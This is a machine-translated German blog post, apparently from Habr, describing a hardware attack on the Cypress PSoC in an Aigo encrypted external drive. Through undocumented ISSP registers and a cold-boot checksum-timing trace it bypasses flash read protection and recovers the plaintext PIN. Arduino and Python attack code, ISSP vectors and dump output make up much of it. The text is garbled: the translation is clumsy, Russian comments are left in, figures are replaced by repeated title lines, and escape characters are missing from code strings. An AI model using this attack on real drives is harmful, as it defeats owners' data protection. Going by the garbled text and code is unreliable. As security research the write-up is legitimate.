Umkehren und Hacken der selbstverschlüsselnden externen Festplatte von Aigo. Teil 2: Den Cypress PSoC entsorgen

Dies ist der zweite und letzte Teil des Artikels über das Hacken externer selbstverschlüsselnder Laufwerke. Ich erinnere Sie daran, dass mir ein Kollege kürzlich eine Patriot (Aigo) SK8671-Festplatte gebracht hat und ich beschlossen habe, sie umzukehren, und jetzt teile ich mit, was passiert ist. Bevor Sie weiterlesen, schauen Sie sich unbedingt um erster Teil artikel.

4. Wir beginnen mit dem Dump vom internen PSoC-Flash-Laufwerk
5. ISSP-Protokoll
– 5.1. Was ist ISSP?
– 5.2. Entmystifizierung von Vektoren
– 5.3. Kommunikation mit PSoC
– 5.4. Identifizierung von On-Chip-Registern
– 5.5. Sicherheitsbits
6. Erster (fehlgeschlagener) Angriff: ROMX
7. Zweiter Angriff: Kaltstartverfolgung
– 7.1. Implementierung
– 7.2. Das Ergebnis lesen
– 7.3. Flash-Binärrekonstruktion
– 7.4. Ermitteln der Speicheradresse des PIN-Codes
– 7.5. Wir entfernen den Dump von Block Nr. 126
– 7.6. Wiederherstellung des PIN-Codes
8. Was kommt als nächstes?
9. Заключение

Umkehren und Hacken der selbstverschlüsselnden externen Festplatte von Aigo. Teil 2: Den Cypress PSoC entsorgen


4. Wir beginnen mit dem Dump vom internen PSoC-Flash-Laufwerk

Alles deutet also darauf hin (wie wir im [ersten Teil]() festgestellt haben), dass der Pincode im Flash-Darm des PSoC gespeichert ist. Deshalb müssen wir diese Flash-Eingeweide lesen. Vor notwendiger Arbeit:

  • Übernehmen Sie die Kontrolle über die „Kommunikation“ mit dem Mikrocontroller.
  • Finden Sie eine Möglichkeit zu überprüfen, ob diese „Kommunikation“ vor dem Lesen von außen geschützt ist.
  • Finden Sie einen Weg, den Schutz zu umgehen.

Es gibt zwei Stellen, an denen es sinnvoll ist, nach einem gültigen PIN-Code zu suchen:

  • interner Flash-Speicher;
  • SRAM, wo der PIN-Code gespeichert werden kann, um ihn mit dem vom Benutzer eingegebenen PIN-Code zu vergleichen.

Mit Blick auf die Zukunft werde ich feststellen, dass es mir immer noch gelungen ist, das interne PSoC-Flash-Laufwerk zu sichern – unter Umgehung seines Schutzsystems, durch einen Hardware-Kaltstart-Tracing-Angriff –, nachdem ich die undokumentierten Funktionen des ISSP-Protokolls rückgängig gemacht habe. Dadurch konnte ich den tatsächlichen PIN-Code direkt ausgeben.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Endgültiger Programmcode:

5. ISSP-Protokoll

5.1. Was ist ISSP?

„Kommunikation“ mit einem Mikrocontroller kann alles bedeuten, von „Anbieter zu Anbieter“ bis hin zur Interaktion über ein serielles Protokoll (z. B. ICSP für PIC von Microchip).

Cypress verfügt hierfür über ein eigenes proprietäres Protokoll namens ISSP (In-System Serial Programming Protocol), das teilweise in beschrieben ist technische Spezifikation. US7185162 Patent gibt auch einige Informationen. Es gibt auch ein OpenSource-Gegenstück namens HSSP (wir werden es etwas später verwenden). ISSP funktioniert folgendermaßen:

  • PSoC neu starten;
  • Geben Sie eine magische Zahl an den seriellen Datenzweig dieses PSoC aus. um in den externen Programmiermodus zu gelangen;
  • Senden Sie Befehle, bei denen es sich um lange Bitfolgen handelt, die als „Vektoren“ bezeichnet werden.

Die ISSP-Dokumentation definiert diese Vektoren nur für eine Handvoll Anweisungen:

  • Initialisieren-1
  • Initialisieren-2
  • Initialize-3 (3V- und 5V-Optionen)
  • ID-SETUP
  • LESE-ID-WORT
  • SET-BLOCK-NUM: 10011111010dddddddd111 wobei dddddddd=block #
  • MASSENLÖSCHEN
  • PROGRAMMBLOCK
  • ÜBERPRÜFEN-SETUP
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1 wobei DDDDDDDD = Datenausgang, aaaaaa = Adresse (6 Bits)
  • WRITE-BYTE: 10010aaaaaadddddddd111 wobei dddddddd = Dateneingang, aaaaaa = Adresse (6 Bits)
  • SICHER
  • CHECKSUMEN-SETUP
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, wobei DDDDDDDDDDDDDDDD = Datenausgang: Geräteprüfsumme
  • BLOCK LÖSCHEN

Zum Beispiel ein Vektor für Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Alle Vektoren haben die gleiche Länge: 22 Bit. Die HSSP-Dokumentation enthält einige zusätzliche Informationen zu ISSP: „ISSP-Vektor ist nichts anderes als eine Bitsequenz, also ein Satz von Anweisungen.“

5.2. Entmystifizierung von Vektoren

Lassen Sie uns herausfinden, was hier vor sich geht. Ursprünglich ging ich davon aus, dass es sich bei denselben Vektoren um Rohversionen von M8C-Anweisungen handelte, aber nachdem ich diese Hypothese überprüft hatte, stellte ich fest, dass die Opcodes der Operationen nicht übereinstimmten.

Dann habe ich den obigen Vektor gegoogelt und bin darauf gestoßen das hier eine Studie, in der der Autor, ohne auf die Details einzugehen, einige praktische Hinweise liefert: „Jede Anweisung beginnt mit drei Bits, die einer von vier Mnemoniken entsprechen (aus dem RAM lesen, in den RAM schreiben, Register lesen, Register schreiben). Dann kommt die 8-Bit-Adresse, gefolgt von 8 Datenbits (Lesen oder Schreiben) und schließlich drei Stoppbits.

Dann gelang es mir, sehr nützliche Informationen aus dem Abschnitt „Supervisory ROM (SROM)“ zu erhalten. technische Anleitung. SROM ist ein hartcodiertes ROM im PSoC, das Dienste (ähnlich wie Syscall) für Programmcode bereitstellt, der im Benutzerbereich ausgeführt wird:

  • 00h:SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: TableRead
  • 07h: Prüfsumme
  • 08h: Kalibrieren0
  • 09h: Kalibrieren1

Durch den Vergleich von Vektornamen mit SROM-Funktionen können wir die verschiedenen von diesem Protokoll unterstützten Operationen mit den erwarteten SROM-Parametern abgleichen. Dadurch können wir die ersten drei Bits der ISSP-Vektoren dekodieren:

  • 100
  • 101 => "rdmem"
  • 110
  • 111

Ein vollständiges Verständnis der On-Chip-Prozesse kann jedoch nur durch die direkte Kommunikation mit PSoC erlangt werden.

5.3. Kommunikation mit PSoC

Da Dirk von Petrautsky schon portiert Für den Arduino HSSP-Code von Cypress habe ich einen Arduino Uno verwendet, um eine Verbindung zum ISSP-Header der Tastaturplatine herzustellen.

Bitte beachten Sie, dass ich im Laufe meiner Recherche den Code von Dirk ziemlich verändert habe. Meine Modifikation finden Sie auf GitHub: hier und das entsprechende Python-Skript zur Kommunikation mit Arduino in meinem Repository cypress_psoc_tools.

Also habe ich mit Arduino zunächst nur „offizielle“ Vektoren zur „Kommunikation“ verwendet. Ich habe versucht, das interne ROM mit dem Befehl VERIFY zu lesen. Wie erwartet ist mir das nicht gelungen. Wahrscheinlich, weil die Leseschutzbits im Flash-Laufwerk aktiviert sind.

Dann habe ich einige meiner einfachen Vektoren zum Schreiben und Lesen von Speicher/Registern erstellt. Bitte beachten Sie, dass wir das gesamte SROM lesen können, auch wenn das Flash-Laufwerk geschützt ist!

5.4. Identifizierung von On-Chip-Registern

Als ich mir die „zerlegten“ Vektoren ansah, stellte ich fest, dass das Gerät undokumentierte Register (0xF8-0xFA) verwendet, um M8C-Opcodes anzugeben, die direkt und unter Umgehung der Sicherheit ausgeführt werden. Dadurch konnte ich verschiedene Opcodes wie „ADD“, „MOV A, X“, „PUSH“ oder „JMP“ ausführen. Dank ihnen (anhand der Nebenwirkungen, die sie auf Register haben) konnte ich feststellen, welche der undokumentierten Register tatsächlich normale Register sind (A, X, SP und PC).

Infolgedessen sieht der vom Tool HSSP_disas.rb generierte „zerlegte“ Code folgendermaßen aus (ich habe der Klarheit halber Kommentare hinzugefügt):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Sicherheitsbits

Zu diesem Zeitpunkt kann ich bereits mit PSoC kommunizieren, habe aber noch keine verlässlichen Informationen über die Sicherheitsbits des Flash-Laufwerks. Ich war sehr überrascht, dass Cypress dem Benutzer des Geräts keine Möglichkeit bietet, zu überprüfen, ob der Schutz aktiviert ist. Ich habe mich mit Google beschäftigt, um endlich zu verstehen, dass der von Cypress bereitgestellte HSSP-Code aktualisiert wurde, nachdem Dirk seine Änderung veröffentlicht hatte. Und so! Hier ist ein neuer Vektor:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Mithilfe dieses Vektors (siehe read_security_data in psoc.py) erhalten wir alle Sicherheitsbits im SRAM bei 0x80, wobei es zwei Bits pro Sicherheitsblock gibt.

Das Ergebnis ist deprimierend: Im Modus „Externes Lesen und Schreiben deaktivieren“ ist alles geschützt. Daher können wir nicht nur alles von einem Flash-Laufwerk lesen, sondern auch alles schreiben (z. B. um dort einen ROM-Dumper einzuführen). Und die einzige Möglichkeit, den Schutz zu deaktivieren, besteht darin, den gesamten Chip vollständig zu löschen. 🙁

6. Erster (fehlgeschlagener) Angriff: ROMX

Wir können jedoch den folgenden Trick ausprobieren: Da wir die Möglichkeit haben, beliebige Opcodes auszuführen, warum nicht ROMX ausführen, das zum Lesen des Flash-Speichers verwendet wird? Dieser Ansatz hat gute Erfolgsaussichten. Denn die ReadBlock-Funktion, die Daten aus dem SROM liest (das von Vektoren verwendet wird), prüft, ob sie von ISSP aufgerufen werden. Der ROMX-Opcode verfügt jedoch vermutlich nicht über diese Prüfung. Hier ist also der Python-Code (nachdem dem Sish-Arduino-Code einige Hilfsklassen hinzugefügt wurden):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Leider funktioniert dieser Code nicht. 🙁 Vielmehr funktioniert es, aber wir bekommen am Ausgang unsere eigenen Opcodes (0x28 0x30 0x40)! Ich glaube nicht, dass die entsprechende Funktionalität des Gerätes Bestandteil des Leseschutzes ist. Dabei handelt es sich eher um einen technischen Trick: Bei der Ausführung externer Opcodes wird der ROM-Bus in einen temporären Puffer umgeleitet.

7. Zweiter Angriff: Kaltstartverfolgung

Da der ROMX-Trick nicht funktionierte, begann ich über eine andere Variante dieses Tricks nachzudenken – beschrieben in der Veröffentlichung „Wir werfen zu viel Licht auf den Firmware-Schutz eines Mikrocontrollers“.

7.1. Umsetzung

Die ISSP-Dokumentation stellt den folgenden Vektor für CHECKSUM-SETUP bereit:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Dies ist im Wesentlichen ein Aufruf der SROM-Funktion 0x07, wie in der Dokumentation dargestellt (Hervorhebung von mir):

Dies ist eine Prüfsummenprüffunktion. Es berechnet eine 16-Bit-Prüfsumme der vom Benutzer angegebenen Anzahl von Blöcken – in einer Flash-Bank, beginnend bei Null. Mit dem Parameter BLOCKID wird die Anzahl der Blöcke übergeben, die bei der Berechnung der Prüfsumme verwendet werden sollen. Ein Wert von „1“ berechnet nur die Prüfsumme für Block Null; während Bei „0“ wird die Gesamtprüfsumme aller 256 Blöcke der Flash-Bank berechnet. Über KEY16 und KEY1 wird eine 2-Bit-Prüfsumme zurückgegeben. Im Parameter KEY1 sind die unteren 8 Bits der Prüfsumme festgelegt, im Parameter KEY2 die oberen 8 Bits. Bei Geräten mit mehreren Flash-Bänken wird die Prüfsummenfunktion für jede einzeln aufgerufen. Die Nummer der Bank, mit der es arbeiten soll, wird durch das FLS_PR1-Register festgelegt (durch Setzen des darin enthaltenen Bits, das der Ziel-Flash-Bank entspricht).

Beachten Sie, dass dies die einfachste Prüfsumme ist: Die Bytes werden einfach einzeln addiert; keine ausgefallenen CRC-Macken. Da ich außerdem wusste, dass der Registersatz im M8C-Kern sehr klein ist, ging ich davon aus, dass bei der Berechnung der Prüfsumme Zwischenwerte in denselben Variablen festgelegt würden, die schließlich an die Ausgabe gehen würden: KEY1 (0xF8) / KEY2 (0xF9).

Theoretisch sieht mein Angriff also so aus:

  1. Wir verbinden uns über ISSP.
  2. Wir starten die Berechnung der Prüfsumme mit dem Vektor CHECKSUM-SETUP.
  3. Wir starten den Prozessor nach einer bestimmten Zeit T neu.
  4. Lesen Sie den RAM, um die aktuelle C-Prüfsumme zu erhalten.
  5. Wiederholen Sie die Schritte 3 und 4, wobei Sie T jedes Mal leicht erhöhen.
  6. Wir stellen Daten von einem Flash-Laufwerk wieder her, indem wir die vorherige Prüfsumme C von der aktuellen subtrahieren.

Es gab jedoch ein Problem: Der Initialize-1-Vektor, den wir nach dem Neuladen senden müssen, überschreibt KEY1 und KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Dieser Code überschreibt unsere wertvolle Prüfsumme, indem er Calibrate1 (SROM-Funktion 9) aufruft ... Vielleicht können wir einfach die magische Zahl (vom Anfang des obigen Codes) senden, um in den Programmiermodus zu gelangen und dann den SRAM zu lesen? Und ja, es funktioniert! Der Arduino-Code, der diesen Angriff implementiert, ist recht einfach:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Checkum_delay lesen.
  2. Prüfsummenberechnung starten (send_checksum_v).
  3. Warten Sie eine bestimmte Zeitspanne. Angesichts der folgenden Fallstricke:
    • Ich habe viel Zeit totgeschlagen, bis ich herausgefunden habe, dass es klappt VerzögerungMikrosekunden funktioniert nur korrekt, wenn die Verzögerung 16383 µs nicht überschreitet;
    • und tötete dann noch einmal die gleiche Zeitspanne, bis er herausfand, dass „delayMicroseconds“ überhaupt nicht funktioniert, wenn man ihm als Eingabe 0 übergibt!
  4. Laden Sie PSoC erneut in den Programmiermodus (senden Sie einfach eine magische Zahl, ohne Initialisierungsvektoren zu senden).

Endgültiger Python-Code:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

Kurz gesagt, was dieser Code bewirkt:

  1. Lädt den PSoC neu (und sendet ihm eine magische Zahl).
  2. Sendet vollständige Initialisierungsvektoren.
  3. Ruft die Arduino-Funktion Cmnd_STK_START_CSUM (0x85) mit einer Verzögerung in Mikrosekunden als Parameter auf.
  4. Liest die Prüfsumme (0xF8 und 0xF9) und das undokumentierte Register 0xF1.

Dieser Code wird 10 Mal in 1 Mikrosekunde ausgeführt. 0xF1 ist hier enthalten, da es das einzige Register war, das sich bei der Berechnung der Prüfsumme geändert hat. Möglicherweise handelt es sich hierbei um eine Art temporäre Variable, die von der Arithmetik-Logik-Einheit verwendet wird. Beachten Sie den hässlichen Hack, den ich verwende, um den Arduino mithilfe von Picocom zurückzusetzen, wenn der Arduino aufhört zu piepen (ich habe keine Ahnung, warum).

7.2. Das Ergebnis lesen

Das Ergebnis des Python-Skripts sieht folgendermaßen aus (zur besseren Lesbarkeit vereinfacht):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Allerdings haben wir ein Problem: Da wir mit der tatsächlichen Prüfsumme arbeiten, ändert das Null-Byte den gelesenen Wert nicht. Da der gesamte Berechnungsvorgang (8192 Bytes) jedoch 0,1478 Sekunden dauert (mit kleinen Abweichungen bei jedem Durchlauf), was ungefähr 18,04 µs pro Byte entspricht, können wir diese Zeit nutzen, um den Prüfsummenwert zu geeigneten Zeitpunkten zu überprüfen. Bei den ersten Durchläufen ist alles recht einfach abzulesen, da die Dauer des Rechenvorgangs immer nahezu gleich ist. Allerdings ist das Ende dieses Dumps weniger genau, da sich die „geringfügigen Timing-Abweichungen“ bei jedem Lauf summieren und erheblich werden:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Das sind 10 Dumps für jede Mikrosekunde Verzögerung. Die Gesamtarbeitszeit für das Dumping aller 8192 Bytes eines Flash-Laufwerks beträgt etwa 48 Stunden.

7.3. Flash-Binärrekonstruktion

Ich habe den Code, der den Programmcode des Flash-Laufwerks unter Berücksichtigung aller zeitlichen Abweichungen vollständig rekonstruiert, noch nicht fertig geschrieben. Allerdings habe ich den Anfang dieses Codes bereits wiederhergestellt. Um sicherzustellen, dass ich es richtig gemacht habe, habe ich es mit m8cdis zerlegt:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Sieht ziemlich echt aus!

7.4. Ermitteln der Speicheradresse des PIN-Codes

Da wir nun die Prüfsumme zu den von uns benötigten Zeiten lesen können, können wir leicht überprüfen, wie und wo sie sich ändert, wenn wir:

  • Geben Sie den falschen PIN-Code ein.
  • PIN-Code ändern.

Um eine ungefähre Speicheradresse zu finden, habe ich nach einem Neustart zunächst einen Prüfsummen-Dump in 10-ms-Schritten erstellt. Dann habe ich den falschen PIN-Code eingegeben und das Gleiche getan.

Das Ergebnis war nicht sehr erfreulich, da es viele Änderungen gab. Am Ende konnte ich jedoch feststellen, dass sich die Prüfsumme irgendwo zwischen 120000 µs und 140000 µs Verzögerung änderte. Aber der „Pincode“, den ich dort gefunden habe, war völlig falsch – aufgrund eines Artefakts der Verzögerungs-Mikrosekunden-Prozedur, die seltsame Dinge tut, wenn 0 an sie übergeben wird.

Dann, nachdem ich fast drei Stunden damit verbracht hatte, fiel mir ein, dass der CheckSum-Systemaufruf des SROM ein Argument als Eingabe benötigt, das die Anzahl der Blöcke für die Prüfsumme angibt! Das. Wir können die Speicheradresse des PIN-Codes und den Zähler für „ungültige Versuche“ leicht lokalisieren – mit einer Genauigkeit von 3-Byte-Block.

Meine ersten Durchläufe ergaben folgende Ausgabe:

Umkehren und Hacken der selbstverschlüsselnden externen Festplatte von Aigo. Teil 2: Den Cypress PSoC entsorgen

Dann habe ich den PIN-Code von „123456“ in „1234567“ geändert und Folgendes erhalten:

Umkehren und Hacken der selbstverschlüsselnden externen Festplatte von Aigo. Teil 2: Den Cypress PSoC entsorgen

Daher scheinen der PIN-Code und der Zähler ungültiger Versuche im Block #126 gespeichert zu sein.

7.5. Wir entfernen den Dump von Block Nr. 126

Block Nr. 126 sollte in meinem vollständigen Dump vom Beginn der Prüfsummenberechnung an etwa 125 x 64 x 18 = 144000 µs groß sein und sieht ziemlich plausibel aus. Dann, nachdem ich zahlreiche fehlerhafte Dumps manuell herausgefiltert hatte (aufgrund der Anhäufung von „geringfügigen Zeitabweichungen“), landete ich bei diesen Bytes (mit einer Verzögerung von 145527 µs):

Umkehren und Hacken der selbstverschlüsselnden externen Festplatte von Aigo. Teil 2: Den Cypress PSoC entsorgen

Es ist ganz offensichtlich, dass der Pincode unverschlüsselt gespeichert wird! Diese Werte sind natürlich nicht im ASCII-Code geschrieben, aber wie sich herausstellte, spiegeln sie die Messwerte der kapazitiven Tastatur wider.

Abschließend habe ich noch einige weitere Tests durchgeführt, um herauszufinden, wo der Zähler für fehlerhafte Versuche gespeichert ist. Hier ist das Ergebnis:

Umkehren und Hacken der selbstverschlüsselnden externen Festplatte von Aigo. Teil 2: Den Cypress PSoC entsorgen

0xFF bedeutet „15 Versuche“ und verringert sich bei jedem Fehlversuch.

7.6. Wiederherstellung des PIN-Codes

Hier ist mein hässlicher Code, der alles zusammenfügt:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Hier ist das Ergebnis seiner Ausführung:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Hurra! Funktioniert!

Bitte beachten Sie, dass die von mir verwendeten Verzögerungswerte höchstwahrscheinlich für einen bestimmten PSoC relevant sind – den, den ich verwendet habe.

8. Was kommt als nächstes?

Fassen wir also die PSoC-Seite im Kontext unseres Aigo-Antriebs zusammen:

  • wir können SRAM lesen, auch wenn es lesegeschützt ist;
  • Wir können den Leseschutz umgehen, indem wir einen Kaltstart-Trace-Angriff verwenden und den PIN-Code direkt lesen.

Allerdings weist unser Angriff aufgrund von Synchronisationsproblemen einige Mängel auf. Es könnte wie folgt verbessert werden:

  • Schreiben Sie ein Dienstprogramm, um die Ausgabe, die als Ergebnis eines Cold-Reload-Tracing-Angriffs erhalten wird, korrekt zu dekodieren.
  • Verwenden Sie FPGA-Gadgets, um genauere Zeitverzögerungen zu erstellen (oder verwenden Sie Arduino-Hardware-Timer).
  • Versuchen Sie einen anderen Angriff: Geben Sie einen wissentlich falschen PIN-Code ein, starten Sie neu und leeren Sie den RAM, in der Hoffnung, dass der richtige PIN-Code zum Vergleich im RAM gespeichert wird. Auf dem Arduino ist dies jedoch nicht so einfach zu bewerkstelligen, da der Arduino-Signalpegel 5 Volt beträgt, während die von uns untersuchte Platine mit 3,3-Volt-Signalen arbeitet.

Ein interessanter Versuch besteht darin, mit dem Spannungspegel herumzuspielen, um den Leseschutz zu umgehen. Wenn dieser Ansatz funktionieren würde, wären wir in der Lage, absolut genaue Daten vom Flash-Laufwerk zu erhalten – anstatt uns auf das Lesen einer Prüfsumme mit ungenauen Zeitverzögerungen zu verlassen.

Da SROM die Schutzbits wahrscheinlich über den ReadBlock-Systemaufruf liest, könnten wir dasselbe tun wie beschrieben auf Dmitry Nedospasovs Blog – eine Neuimplementierung des auf der Konferenz angekündigten Angriffs von Chris Gerlinski Recon Brüssel 2017.

Eine weitere unterhaltsame Sache, die man machen könnte, wäre, das Gehäuse vom Chip zu lösen: SRAM wegwerfen, undokumentierte Systemaufrufe und Schwachstellen identifizieren.

9. Заключение

Der Schutz dieses Laufwerks lässt also zu wünschen übrig, da es einen normalen (nicht „gehärteten“) Mikrocontroller zum Speichern des PIN-Codes verwendet ... Außerdem habe ich (noch) nicht nachgeschaut, wie es mit der Datenverschlüsselung hier steht Gerät!

Was kann man Aigo raten? Nachdem ich einige Modelle verschlüsselter Festplattenlaufwerke analysiert hatte, habe ich sie 2015 erstellt Präsentation auf SyScan, das die Sicherheitsprobleme mehrerer externer Festplatten untersuchte und Empfehlungen für deren Verbesserung gab. 🙂

Ich habe zwei Wochenenden und mehrere Abende mit dieser Studie verbracht. Insgesamt etwa 40 Stunden. Zählen vom Anfang (als ich die CD geöffnet habe) bis zum Ende (Pincode-Dump). Die gleichen 40 Stunden umfassen die Zeit, die ich mit dem Schreiben dieses Artikels verbracht habe. Es war eine sehr aufregende Reise.

Source: habr.com

Kommentar hinzufügen